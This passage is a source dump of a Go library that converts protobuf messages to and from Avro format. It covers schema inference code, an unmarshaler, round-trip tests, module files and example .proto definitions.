53 | assert.DeepEqual(t, msgs, got, protocmp.Transform()) 54 | } 55 | 56 | func Test_MarshalSymmetric(t *testing.T) { 57 | // when `goavro` decodes a file, it will not read back exactly what was 58 | // written. For example timestamps are returned as `time.Time`. These 59 | // tests assert that those conversions are handled properly. 60 | for _, tt := range []struct { 61 | name string 62 | msg proto.Message 63 | }{ 64 | { 65 | name: "examplev1.ExampleTimestamp", 66 | msg: &examplev1.ExampleTimestamp{ 67 | Timestamp: timestamppb.New(time.Now().Truncate(time.Microsecond)), // nano second precision not expressible in avro 68 | }, 69 | }, 70 | { 71 | name: "examplev1.ExampleDate", 72 | msg: &examplev1.ExampleDate{ 73 | Date: &date.Date{Year: 2021, Month: 1, Day: 1}, 74 | }, 75 | }, 76 | { 77 | name: "examplev1.ExampleDuration", 78 | msg: &examplev1.ExampleDuration{ 79 | Duration: durationpb.New(time.Hour), 80 | }, 81 | }, 82 | { 83 | name: "examplev1.TimeOfDay", 84 | msg: &examplev1.ExampleTimeOfDay{ 85 | TimeOfDay: &timeofday.TimeOfDay{Hours: 20}, 86 | }, 87 | }, 88 | { 89 | name: "examplev1.ExampleNumbers", 90 | msg: &examplev1.ExampleNumbers{ 91 | Valint32: 1, 92 | Valint64: 1, 93 | Valfloat: 1.0, 94 | Valdouble: 1.0, 95 | Valuint32: 1, 96 | Valuint64: 1, 97 | Valsint32: 1, 98 | Valsint64: 1, 99 | }, 100 | }, 101 | } { 102 | t.Run(tt.name, func(t *testing.T) { 103 | var b bytes.Buffer 104 | 105 | // marshal messages 106 | marshaller, err := protoavro.NewMarshaler(tt.msg.ProtoReflect().Descriptor(), &b) 107 | assert.NilError(t, err) 108 | assert.NilError(t, marshaller.Marshal(tt.msg)) 109 | 110 | // unmarshal messages 111 | unmarshaler, err := protoavro.NewUnmarshaler(&b) 112 | assert.NilError(t, err) 113 | got := make([]proto.Message, 0, 2) 114 | for unmarshaler.Scan() { 115 | msg := proto.Clone(tt.msg) 116 | proto.Reset(msg) 117 | 118 | assert.NilError(t, unmarshaler.Unmarshal(msg)) 119 | got = append(got, msg) 120 | } 121 | assert.Equal(t, len(got), 1) 122 | assert.DeepEqual(t, tt.msg, got[0], protocmp.Transform()) 123 | }) 124 | } 125 | } 126 | -------------------------------------------------------------------------------- /encoding/protoavro/options.go: -------------------------------------------------------------------------------- 1 | package protoavro 2 | 3 | // SchemaOptions contains configuration options for Avro schema inference. 4 | // OmitRootElement is used to determine whether the root element of a message should be omitted, when writing to Avro. 5 | type SchemaOptions struct { 6 | OmitRootElement bool 7 | } 8 | -------------------------------------------------------------------------------- /encoding/protoavro/schema.go: -------------------------------------------------------------------------------- 1 | package protoavro 2 | 3 | import ( 4 | "fmt" 5 | "strings" 6 | 7 | "go.einride.tech/protobuf-avro/avro" 8 | "google.golang.org/protobuf/reflect/protoreflect" 9 | ) 10 | 11 | // InferSchema returns the Avro schema, with default SchemaOptions, for the protobuf message descriptor. 12 | func InferSchema(desc protoreflect.MessageDescriptor) (avro.Schema, error) { 13 | return SchemaOptions{}.newSchemaInferrer().inferMessageSchema(desc, 0) 14 | } 15 | 16 | // InferSchema returns the Avro schema for the protobuf message descriptor. 17 | func (o SchemaOptions) InferSchema(desc protoreflect.MessageDescriptor) (avro.Schema, error) { 18 | return o.newSchemaInferrer().inferMessageSchema(desc, 0) 19 | } 20 | 21 | type schemaInferrer struct { 22 | opts SchemaOptions 23 | seen map[protoreflect.FullName]struct{} 24 | } 25 | 26 | func (o SchemaOptions) newSchemaInferrer() schemaInferrer { 27 | return schemaInferrer{seen: make(map[protoreflect.FullName]struct{}), opts: o} 28 | } 29 | 30 | func (s schemaInferrer) inferMessageSchema( 31 | message protoreflect.MessageDescriptor, 32 | recursiveIndex int, 33 | ) (avro.Schema, error) { 34 | if isWKT(message.FullName()) { 35 | return schemaWKT(message) 36 | } 37 | if _, ok := s.seen[message.FullName()]; ok { 38 | return avro.Nullable(avro.Reference(message.FullName())), nil 39 | } 40 | s.seen[message.FullName()] = struct{}{} 41 | doc := message.ParentFile().SourceLocations().ByDescriptor(message).LeadingComments 42 | record := avro.Record{ 43 | Type: avro.RecordType, 44 | Doc: doc, 45 | Name: string(message.Name()), 46 | Namespace: namespace(message), 47 | Fields: make([]avro.Field, 0, message.Fields().Len()), 48 | } 49 | for i := 0; i < message.Fields().Len(); i++ { 50 | field := message.Fields().Get(i) 51 | fieldSchema, err := s.inferField(field, recursiveIndex+1) 52 | if err != nil { 53 | return nil, err 54 | } 55 | fieldSchema.Type = avro.Nullable(fieldSchema.Type) 56 | record.Fields = append( 57 | record.Fields, 58 | fieldSchema, 59 | ) 60 | } 61 | if message.IsMapEntry() { 62 | return record, nil 63 | } 64 | if s.opts.OmitRootElement && recursiveIndex == 0 { 65 | return record, nil 66 | } 67 | return avro.Nullable(record), nil 68 | } 69 | 70 | func namespace(desc protoreflect.Descriptor) string { 71 | return strings.TrimSuffix(string(desc.FullName()), "."+string(desc.Name())) 72 | } 73 | 74 | func (s schemaInferrer) inferField(field protoreflect.FieldDescriptor, recursiveIndex int) (avro.Field, error) { 75 | doc := field.ParentFile().SourceLocations().ByDescriptor(field).LeadingComments 76 | if field.IsMap() { 77 | mapType, err := s.inferMapSchema(field, recursiveIndex) 78 | if err != nil { 79 | return avro.Field{}, err 80 | } 81 | return avro.Field{ 82 | Name: string(field.Name()), 83 | Doc: doc, 84 | Type: mapType, 85 | }, nil 86 | } 87 | fieldKind, err := s.inferFieldKind(field, recursiveIndex) 88 | if err != nil { 89 | return avro.Field{}, err 90 | } 91 | if field.IsList() { 92 | return avro.Field{ 93 | Name: string(field.Name()), 94 | Doc: doc, 95 | Type: avro.Array{ 96 | Type: avro.ArrayType, 97 | Items: avro.Nullable(fieldKind), 98 | }, 99 | }, nil 100 | } 101 | if oneof := field.ContainingOneof(); oneof != nil { 102 | return avro.Field{ 103 | Name: string(field.Name()), 104 | Doc: oneofDoc(doc, oneof), 105 | Type: avro.Nullable(fieldKind), 106 | }, nil 107 | } 108 | return avro.Field{ 109 | Name: string(field.Name()), 110 | Doc: doc, 111 | Type: fieldKind, 112 | }, nil 113 | } 114 | 115 | func oneofDoc(doc string, oneof protoreflect.OneofDescriptor) string { 116 | fieldNamesLi := make([]string, 0, oneof.Fields().Len()) 117 | for i := 0; i < oneof.Fields().Len(); i++ { 118 | field := oneof.Fields().Get(i) 119 | fieldNamesLi = append(fieldNamesLi, fmt.Sprintf("* %s", field.Name())) 120 | } 121 | oneofDoc := fmt.Sprintf("At most one will be set:\n%s", strings.Join(fieldNamesLi, "\n")) 122 | if doc == "" { 123 | return oneofDoc 124 | } 125 | return fmt.Sprintf("%s\n\n%s", doc, oneofDoc) 126 | } 127 | 128 | func (s schemaInferrer) inferFieldKind(field protoreflect.FieldDescriptor, recursiveIndex int) (avro.Schema, error) { 129 | switch field.Kind() { 130 | case protoreflect.DoubleKind: 131 | return avro.Double(), nil 132 | case protoreflect.FloatKind: 133 | return avro.Float(), nil 134 | case protoreflect.Int32Kind, 135 | protoreflect.Fixed32Kind, 136 | protoreflect.Uint32Kind, 137 | protoreflect.Sfixed32Kind, 138 | protoreflect.Sint32Kind: 139 | return avro.Integer(), nil 140 | case protoreflect.Int64Kind, 141 | protoreflect.Uint64Kind, 142 | protoreflect.Fixed64Kind, 143 | protoreflect.Sfixed64Kind, 144 | protoreflect.Sint64Kind: 145 | return avro.Long(), nil 146 | case protoreflect.BoolKind: 147 | return avro.Boolean(), nil 148 | case protoreflect.BytesKind: 149 | return avro.Bytes(), nil 150 | case protoreflect.StringKind: 151 | return avro.String(), nil 152 | case protoreflect.EnumKind: 153 | return s.inferEnumSchema(field.Enum()), nil 154 | case protoreflect.MessageKind, protoreflect.GroupKind: 155 | return s.inferMessageSchema(field.Message(), recursiveIndex) 156 | } 157 | return nil, fmt.Errorf("unsupported field kind %s %s", field.Name(), field.Kind()) 158 | } 159 | 160 | func (s schemaInferrer) inferEnumSchema(enum protoreflect.EnumDescriptor) avro.Schema { 161 | if _, ok := s.seen[enum.FullName()]; ok { 162 | return avro.Reference(enum.FullName()) 163 | } 164 | s.seen[enum.FullName()] = struct{}{} 165 | doc := enum.ParentFile().SourceLocations().ByDescriptor(enum).LeadingComments 166 | e := avro.Enum{ 167 | Type: avro.EnumType, 168 | Doc: doc, 169 | Name: string(enum.Name()), 170 | Namespace: namespace(enum), 171 | } 172 | for i := 0; i < enum.Values().Len(); i++ { 173 | e.Symbols = append(e.Symbols, string(enum.Values().Get(i).Name())) 174 | } 175 | return e 176 | } 177 | -------------------------------------------------------------------------------- /encoding/protoavro/schema_example_test.go: -------------------------------------------------------------------------------- 1 | package protoavro_test 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/google/go-cmp/cmp" 7 | "go.einride.tech/protobuf-avro/avro" 8 | "go.einride.tech/protobuf-avro/encoding/protoavro" 9 | "google.golang.org/genproto/googleapis/example/library/v1" 10 | ) 11 | 12 | func ExampleInferSchema() { 13 | msg := &library.Book{} 14 | schema, err := protoavro.SchemaOptions{}.InferSchema(msg.ProtoReflect().Descriptor()) 15 | if err != nil { 16 | panic(err) 17 | } 18 | expected := avro.Nullable(avro.Record{ 19 | Type: avro.RecordType, 20 | Name: "Book", 21 | Namespace: "google.example.library.v1", 22 | Fields: []avro.Field{ 23 | {Name: "name", Type: avro.Nullable(avro.String())}, 24 | {Name: "author", Type: avro.Nullable(avro.String())}, 25 | {Name: "title", Type: avro.Nullable(avro.String())}, 26 | {Name: "read", Type: avro.Nullable(avro.Boolean())}, 27 | }, 28 | }) 29 | fmt.Println(cmp.Equal(expected, schema)) 30 | // Output: true 31 | } 32 | -------------------------------------------------------------------------------- /encoding/protoavro/unmarshal.go: -------------------------------------------------------------------------------- 1 | package protoavro 2 | 3 | import ( 4 | "fmt" 5 | "io" 6 | 7 | "github.com/linkedin/goavro/v2" 8 | "google.golang.org/protobuf/proto" 9 | ) 10 | 11 | // NewUnmarshaler returns a new unmarshaler that reads protobuf messages from reader in 12 | // Avro binary format. 13 | func NewUnmarshaler(reader io.Reader) (*Unmarshaler, error) { 14 | r, err := goavro.NewOCFReader(reader) 15 | if err != nil { 16 | return nil, fmt.Errorf("new ocf writer: %w", err) 17 | } 18 | return &Unmarshaler{r: r}, nil 19 | } 20 | 21 | // NewUnmarshaler returns a new unmarshaler that reads protobuf messages from reader in 22 | // Avro binary format. 23 | func (o SchemaOptions) NewUnmarshaler(reader io.Reader) (*Unmarshaler, error) { 24 | r, err := goavro.NewOCFReader(reader) 25 | if err != nil { 26 | return nil, fmt.Errorf("new ocf writer: %w", err) 27 | } 28 | return &Unmarshaler{opts: o, r: r}, nil 29 | } 30 | 31 | // Unmarshaler reads and decodes Avro binary encoded messages. 32 | type Unmarshaler struct { 33 | opts SchemaOptions 34 | r *goavro.OCFReader 35 | } 36 | 37 | // Scan returns true when there is at least one more 38 | // message to be read. Scan should be called prior to calling Unmarshal. 39 | func (m *Unmarshaler) Scan() bool { 40 | return m.r.Scan() 41 | } 42 | 43 | // Unmarshal consumes one message from the reader and places it in message. 44 | func (m *Unmarshaler) Unmarshal(message proto.Message) error { 45 | data, err := m.r.Read() 46 | if err != nil { 47 | return fmt.Errorf("read message: %w", err) 48 | } 49 | if err := m.opts.decodeJSON(data, message); err != nil { 50 | return fmt.Errorf("decode message: %w", err) 51 | } 52 | return nil 53 | } 54 | -------------------------------------------------------------------------------- /encoding/protoavro/wkt_test.go: -------------------------------------------------------------------------------- 1 | package protoavro 2 | 3 | import ( 4 | "testing" 5 | "time" 6 | 7 | "google.golang.org/genproto/googleapis/example/library/v1" 8 | "google.golang.org/genproto/googleapis/type/date" 9 | "google.golang.org/genproto/googleapis/type/timeofday" 10 | "google.golang.org/protobuf/proto" 11 | "google.golang.org/protobuf/testing/protocmp" 12 | "google.golang.org/protobuf/types/known/anypb" 13 | "google.golang.org/protobuf/types/known/durationpb" 14 | "google.golang.org/protobuf/types/known/structpb" 15 | "google.golang.org/protobuf/types/known/timestamppb" 16 | "google.golang.org/protobuf/types/known/wrapperspb" 17 | "gotest.tools/v3/assert" 18 | ) 19 | 20 | func Test_WKT(t *testing.T) { 21 | for _, tt := range []proto.Message{ 22 | // wrappers 23 | wrapperspb.Double(123), 24 | wrapperspb.Bool(true), 25 | wrapperspb.Bytes([]byte("123")), 26 | wrapperspb.Float(123), 27 | wrapperspb.Int32(123), 28 | wrapperspb.Int64(123), 29 | wrapperspb.String("123"), 30 | wrapperspb.UInt32(123), 31 | wrapperspb.UInt64(123), 32 | 33 | // any 34 | mustAny(t, &library.Book{Name: "shelves/1/books/1"}), 35 | 36 | // struct 37 | &structpb.Struct{ 38 | Fields: map[string]*structpb.Value{ 39 | "string": structpb.NewStringValue("value"), 40 | "boolean": structpb.NewBoolValue(true), 41 | }, 42 | }, 43 | 44 | // timestamp 45 | timestamppb.New(time.Now().Truncate(time.Microsecond)), // nano second precision not expressible in avro 46 | timestamppb.New(time.Unix(-100, 0)), 47 | 48 | // date 49 | &date.Date{Year: 2021, Month: 7, Day: 26}, 50 | &date.Date{Year: 1900, Month: 7, Day: 26}, 51 | &date.Date{Year: -522, Month: 7, Day: 26}, 52 | 53 | // time of day 54 | &timeofday.TimeOfDay{Hours: 23, Minutes: 59, Seconds: 59}, 55 | &timeofday.TimeOfDay{Hours: 0, Minutes: 0, Seconds: 0, Nanos: 0}, 56 | &timeofday.TimeOfDay{Hours: 36, Minutes: 0, Seconds: 0, Nanos: 0}, 57 | &timeofday.TimeOfDay{Hours: 10, Minutes: 0, Seconds: 0, Nanos: 1000}, 58 | 59 | // duration 60 | durationpb.New(time.Hour), 61 | durationpb.New(time.Microsecond), 62 | durationpb.New(time.Minute*59 + time.Second*43), 63 | } { 64 | t.Run(string(tt.ProtoReflect().Descriptor().FullName()), func(t *testing.T) { 65 | encoded, err := SchemaOptions{}.encodeWKT(tt.ProtoReflect()) 66 | assert.NilError(t, err) 67 | t.Log(encoded) 68 | decoded := tt.ProtoReflect().New() 69 | assert.NilError(t, decodeWKT(encoded, decoded)) 70 | assert.DeepEqual(t, tt, decoded.Interface(), protocmp.Transform()) 71 | }) 72 | } 73 | } 74 | 75 | func Test_DecodeWKTErr(t *testing.T) { 76 | for _, tt := range []struct { 77 | name string 78 | msg proto.Message 79 | data map[string]interface{} 80 | errContains string 81 | }{ 82 | { 83 | name: "not any", 84 | msg: &anypb.Any{}, 85 | data: map[string]interface{}{ 86 | "key": "value", 87 | }, 88 | errContains: "google.protobuf.Any: expected key 'string'", 89 | }, 90 | 91 | { 92 | name: "not encoded any", 93 | msg: &anypb.Any{}, 94 | data: map[string]interface{}{ 95 | "string": "value", 96 | }, 97 | errContains: "google.protobuf.Any: unmarshal", 98 | }, 99 | 100 | { 101 | name: "wrong wrapper", 102 | msg: &wrapperspb.DoubleValue{}, 103 | data: map[string]interface{}{ 104 | "string": "not a double", 105 | }, 106 | errContains: "google.protobuf.DoubleValue: expected key 'double'", 107 | }, 108 | { 109 | name: "not date", 110 | msg: &date.Date{}, 111 | data: map[string]interface{}{ 112 | "key": "value", 113 | }, 114 | errContains: "google.type.Date: expected key 'int.date'", 115 | }, 116 | { 117 | name: "not duration", 118 | msg: &durationpb.Duration{}, 119 | data: map[string]interface{}{ 120 | "key": "value", 121 | }, 122 | errContains: "google.protobuf.Duration: expected key 'float'", 123 | }, 124 | { 125 | name: "not timestamp", 126 | msg: ×tamppb.Timestamp{}, 127 | data: map[string]interface{}{ 128 | "key": "value", 129 | }, 130 | errContains: "google.protobuf.Timestamp: expected key 'long.timestamp-micros'", 131 | }, 132 | { 133 | name: "not time of day", 134 | msg: &timeofday.TimeOfDay{}, 135 | data: map[string]interface{}{ 136 | "key": "value", 137 | }, 138 | errContains: "google.type.TimeOfDay: expected key 'long.time-micros'", 139 | }, 140 | } { 141 | t.Run(tt.name, func(t *testing.T) { 142 | err := decodeWKT(tt.data, tt.msg.ProtoReflect()) 143 | assert.ErrorContains(t, err, tt.errContains) 144 | }) 145 | } 146 | } 147 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module go.einride.tech/protobuf-avro 2 | 3 | go 1.23 4 | 5 | toolchain go1.23.1 6 | 7 | require ( 8 | cloud.google.com/go v0.117.0 9 | github.com/google/go-cmp v0.6.0 10 | github.com/linkedin/goavro/v2 v2.13.0 11 | google.golang.org/genproto v0.0.0-20241118233622-e639e219e697 12 | google.golang.org/protobuf v1.35.2 13 | gotest.tools/v3 v3.5.1 14 | ) 15 | 16 | require ( 17 | github.com/golang/snappy v0.0.4 // indirect 18 | golang.org/x/net v0.32.0 // indirect 19 | golang.org/x/sys v0.28.0 // indirect 20 | golang.org/x/text v0.21.0 // indirect 21 | google.golang.org/genproto/googleapis/api v0.0.0-20241118233622-e639e219e697 // indirect 22 | google.golang.org/genproto/googleapis/rpc v0.0.0-20241206012308-a4fef0638583 // indirect 23 | google.golang.org/grpc v1.67.1 // indirect 24 | ) 25 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | cloud.google.com/go v0.117.0 h1:Z5TNFfQxj7WG2FgOGX1ekC5RiXrYgms6QscOm32M/4s= 2 | cloud.google.com/go v0.117.0/go.mod h1:ZbwhVTb1DBGt2Iwb3tNO6SEK4q+cplHZmLWH+DelYYc= 3 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 4 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 5 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 6 | github.com/golang/snappy v0.0.1/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= 7 | github.com/golang/snappy v0.0.4 h1:yAGX7huGHXlcLOEtBnF4w7FQwA26wojNCwOYAEhLjQM= 8 | github.com/golang/snappy v0.0.4/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= 9 | github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= 10 | github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= 11 | github.com/linkedin/goavro/v2 v2.13.0 h1:L8eI8GcuciwUkt41Ej62joSZS4kKaYIUdze+6for9NU= 12 | github.com/linkedin/goavro/v2 v2.13.0/go.mod h1:KXx+erlq+RPlGSPmLF7xGo6SAbh8sCQ53x064+ioxhk= 13 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 14 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 15 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 16 | github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= 17 | github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 18 | github.com/stretchr/testify v1.7.5 h1:s5PTfem8p8EbKQOctVV53k6jCJt3UX4IEJzwh+C324Q= 19 | github.com/stretchr/testify v1.7.5/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= 20 | golang.org/x/net v0.32.0 h1:ZqPmj8Kzc+Y6e0+skZsuACbx+wzMgo5MQsJh9Qd6aYI= 21 | golang.org/x/net v0.32.0/go.mod h1:CwU0IoeOlnQQWJ6ioyFrfRuomB8GKF6KbYXZVyeXNfs= 22 | golang.org/x/sys v0.28.0 h1:Fksou7UEQUWlKvIdsqzJmUmCX3cZuD2+P3XyyzwMhlA= 23 | golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 24 | golang.org/x/text v0.21.0 h1:zyQAAkrwaneQ066sspRyJaG9VNi/YJ1NfzcGB3hZ/qo= 25 | golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ= 26 | google.golang.org/genproto v0.0.0-20241118233622-e639e219e697 h1:ToEetK57OidYuqD4Q5w+vfEnPvPpuTwedCNVohYJfNk= 27 | google.golang.org/genproto v0.0.0-20241118233622-e639e219e697/go.mod h1:JJrvXBWRZaFMxBufik1a4RpFw4HhgVtBBWQeQgUj2cc= 28 | google.golang.org/genproto/googleapis/api v0.0.0-20241118233622-e639e219e697 h1:pgr/4QbFyktUv9CtQ/Fq4gzEE6/Xs7iCXbktaGzLHbQ= 29 | google.golang.org/genproto/googleapis/api v0.0.0-20241118233622-e639e219e697/go.mod h1:+D9ySVjN8nY8YCVjc5O7PZDIdZporIDY3KaGfJunh88= 30 | google.golang.org/genproto/googleapis/rpc v0.0.0-20241206012308-a4fef0638583 h1:IfdSdTcLFy4lqUQrQJLkLt1PB+AsqVz6lwkWPzWEz10= 31 | google.golang.org/genproto/googleapis/rpc v0.0.0-20241206012308-a4fef0638583/go.mod h1:5uTbfoYQed2U9p3KIj2/Zzm02PYhndfdmML0qC3q3FU= 32 | google.golang.org/grpc v1.67.1 h1:zWnc1Vrcno+lHZCOofnIMvycFcc0QRGIzm9dhnDX68E= 33 | google.golang.org/grpc v1.67.1/go.mod h1:1gLDyUQU7CTLJI90u3nXZ9ekeghjeM7pTDZlqFNg2AA= 34 | google.golang.org/protobuf v1.35.2 h1:8Ar7bF+apOIoThw1EdZl0p1oWvMqTHmpA2fRTyZO8io= 35 | google.golang.org/protobuf v1.35.2/go.mod h1:9fA7Ob0pmnwhb644+1+CVWFRbNajQ6iRojtC/QF5bRE= 36 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 37 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 38 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 39 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 40 | gotest.tools/v3 v3.5.1 h1:EENdUnS3pdur5nybKYIh2Vfgc8IUNBjxDPSjtiJcOzU= 41 | gotest.tools/v3 v3.5.1/go.mod h1:isy3WKz7GK6uNw/sbHzfKBLvlvXwUyV06n6brMxxopU= 42 | -------------------------------------------------------------------------------- /internal/examples/proto/buf.gen.yaml: -------------------------------------------------------------------------------- 1 | version: v1 2 | 3 | plugins: 4 | - name: go 5 | out: gen 6 | opt: module=go.einride.tech/protobuf-avro/internal/examples/proto/gen 7 | path: protoc-gen-go 8 | -------------------------------------------------------------------------------- /internal/examples/proto/buf.lock: -------------------------------------------------------------------------------- 1 | # Generated by buf. DO NOT EDIT. 2 | version: v1 3 | deps: 4 | - remote: buf.build 5 | owner: googleapis 6 | repository: googleapis 7 | commit: cc916c31859748a68fd229a3c8d7a2e8 8 | digest: shake256:469b049d0eb04203d5272062636c078decefc96fec69739159c25d85349c50c34c7706918a8b216c5c27f76939df48452148cff8c5c3ae77fa6ba5c25c1b8bf8 9 | -------------------------------------------------------------------------------- /internal/examples/proto/buf.yaml: -------------------------------------------------------------------------------- 1 | version: v1 2 | 3 | name: buf.build/einride/protobuf-avro 4 | 5 | deps: 6 | - buf.build/googleapis/googleapis 7 | 8 | lint: 9 | use: 10 | - DEFAULT 11 | -------------------------------------------------------------------------------- /internal/examples/proto/einride/avro/example/v1/example_any.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package einride.avro.example.v1; 4 | 5 | option go_package = "go.einride.tech/protobuf-avro/internal/examples/proto/gen/einride/avro/example/v1;examplev1"; 6 | 7 | import "google/protobuf/any.proto"; 8 | 9 | message ExampleAny { 10 | google.protobuf.Any any = 1; 11 | } 12 | -------------------------------------------------------------------------------- /internal/examples/proto/einride/avro/example/v1/example_bytes.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package einride.avro.example.v1; 4 | 5 | option go_package = "go.einride.tech/protobuf-avro/internal/examples/proto/gen/einride/avro/example/v1;examplev1"; 6 | 7 | message ExampleBytes { 8 | bytes bytes = 1; 9 | } 10 | -------------------------------------------------------------------------------- /internal/examples/proto/einride/avro/example/v1/example_date.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package einride.avro.example.v1; 4 | 5 | option go_package = "go.einride.tech/protobuf-avro/internal/examples/proto/gen/einride/avro/example/v1;examplev1"; 6 | 7 | import "google/type/date.proto"; 8 | 9 | message ExampleDate { 10 | google.type.Date date = 1; 11 | } 12 | -------------------------------------------------------------------------------- /internal/examples/proto/einride/avro/example/v1/example_datetime.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package einride.avro.example.v1; 4 | 5 | option go_package = "go.einride.tech/protobuf-avro/internal/examples/proto/gen/einride/avro/example/v1;examplev1"; 6 | 7 | import "google/type/datetime.proto"; 8 | 9 | message ExampleDateTime { 10 | google.type.DateTime date_time = 1; 11 | } 12 | -------------------------------------------------------------------------------- /internal/examples/proto/einride/avro/example/v1/example_duration.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package einride.avro.example.v1; 4 | 5 | option go_package = "go.einride.tech/protobuf-avro/internal/examples/proto/gen/einride/avro/example/v1;examplev1"; 6 | 7 | import "google/protobuf/duration.proto"; 8 | 9 | message ExampleDuration { 10 | google.protobuf.Duration duration = 1; 11 | } 12 | -------------------------------------------------------------------------------- /internal/examples/proto/einride/avro/example/v1/example_enum.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package einride.avro.example.v1; 4 | 5 | option go_package = "go.einride.tech/protobuf-avro/internal/examples/proto/gen/einride/avro/example/v1;examplev1"; 6 | 7 | message ExampleEnum { 8 | Enum enum_value = 1; 9 | 10 | enum Enum { 11 | ENUM_UNSPECIFIED = 0; 12 | ENUM_VALUE1 = 1; 13 | ENUM_VALUE2 = 2; 14 | ENUM_VALUE3 = 4; 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /internal/examples/proto/einride/avro/example/v1/example_list.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package einride.avro.example.v1; 4 | 5 | option go_package = "go.einride.tech/protobuf-avro/internal/examples/proto/gen/einride/avro/example/v1;examplev1"; 6 | 7 | import "google/protobuf/wrappers.proto"; 8 | 9 | message ExampleList { 10 | repeated int64 int64_list = 1; 11 | repeated string string_list = 2; 12 | repeated Enum enum_list = 3; 13 | repeated Nested nested_list = 4; 14 | repeated google.protobuf.FloatValue float_value_list = 5; 15 | 16 | enum Enum { 17 | ENUM_UNSPECIFIED = 0; 18 | ENUM_VALUE1 = 1; 19 | ENUM_VALUE2 = 2; 20 | } 21 | 22 | message Nested { 23 | repeated string string_list = 1; 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /internal/examples/proto/einride/avro/example/v1/example_map.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package einride.avro.example.v1; 4 | 5 | option go_package = "go.einride.tech/protobuf-avro/internal/examples/proto/gen/einride/avro/example/v1;examplev1"; 6 | 7 | import "google/protobuf/wrappers.proto"; 8 | 9 | message ExampleMap { 10 | map string_to_string = 1; 11 | map string_to_nested = 2; 12 | map string_to_enum = 3; 13 | 14 | map int32_to_string = 4; 15 | map int64_to_string = 5; 16 | map uint32_to_string = 6; 17 | map bool_to_string = 7; 18 | 19 | map string_to_float_value = 8; 20 | 21 | enum Enum { 22 | ENUM_UNSPECIFIED = 0; 23 | ENUM_VALUE1 = 1; 24 | ENUM_VALUE2 = 2; 25 | } 26 | 27 | message Nested { 28 | map string_to_string = 1; 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /internal/examples/proto/einride/avro/example/v1/example_num.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package einride.avro.example.v1; 4 | 5 | option go_package = "go.einride.tech/protobuf-avro/internal/examples/proto/gen/einride/avro/example/v1;examplev1"; 6 | 7 | message ExampleNumbers { 8 | int32 valint32 = 1; 9 | int64 valint64 = 2; 10 | 11 | float valfloat = 3; 12 | double valdouble = 4; 13 | 14 | uint32 valuint32 = 5; 15 | uint64 valuint64 = 6; 16 | 17 | sint32 valsint32 = 7; 18 | sint64 valsint64 = 8; 19 | } 20 | -------------------------------------------------------------------------------- /internal/examples/proto/einride/avro/example/v1/example_oneof.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package einride.avro.example.v1; 4 | 5 | option go_package = "go.einride.tech/protobuf-avro/internal/examples/proto/gen/einride/avro/example/v1;examplev1"; 6 | 7 | message ExampleOneof { 8 | oneof oneof_fields_1 { 9 | EmptyMessage oneof_empty_message_1 = 1; 10 | bool oneof_bool_1 = 2; 11 | } 12 | oneof oneof_fields_2 { 13 | EmptyMessage oneof_empty_message_2 = 3; 14 | Message oneof_message = 4; 15 | } 16 | message EmptyMessage { 17 | } 18 | message Message { 19 | string string_value = 1; 20 | } 21 | } 22 | -------------------------------------------------------------------------------- 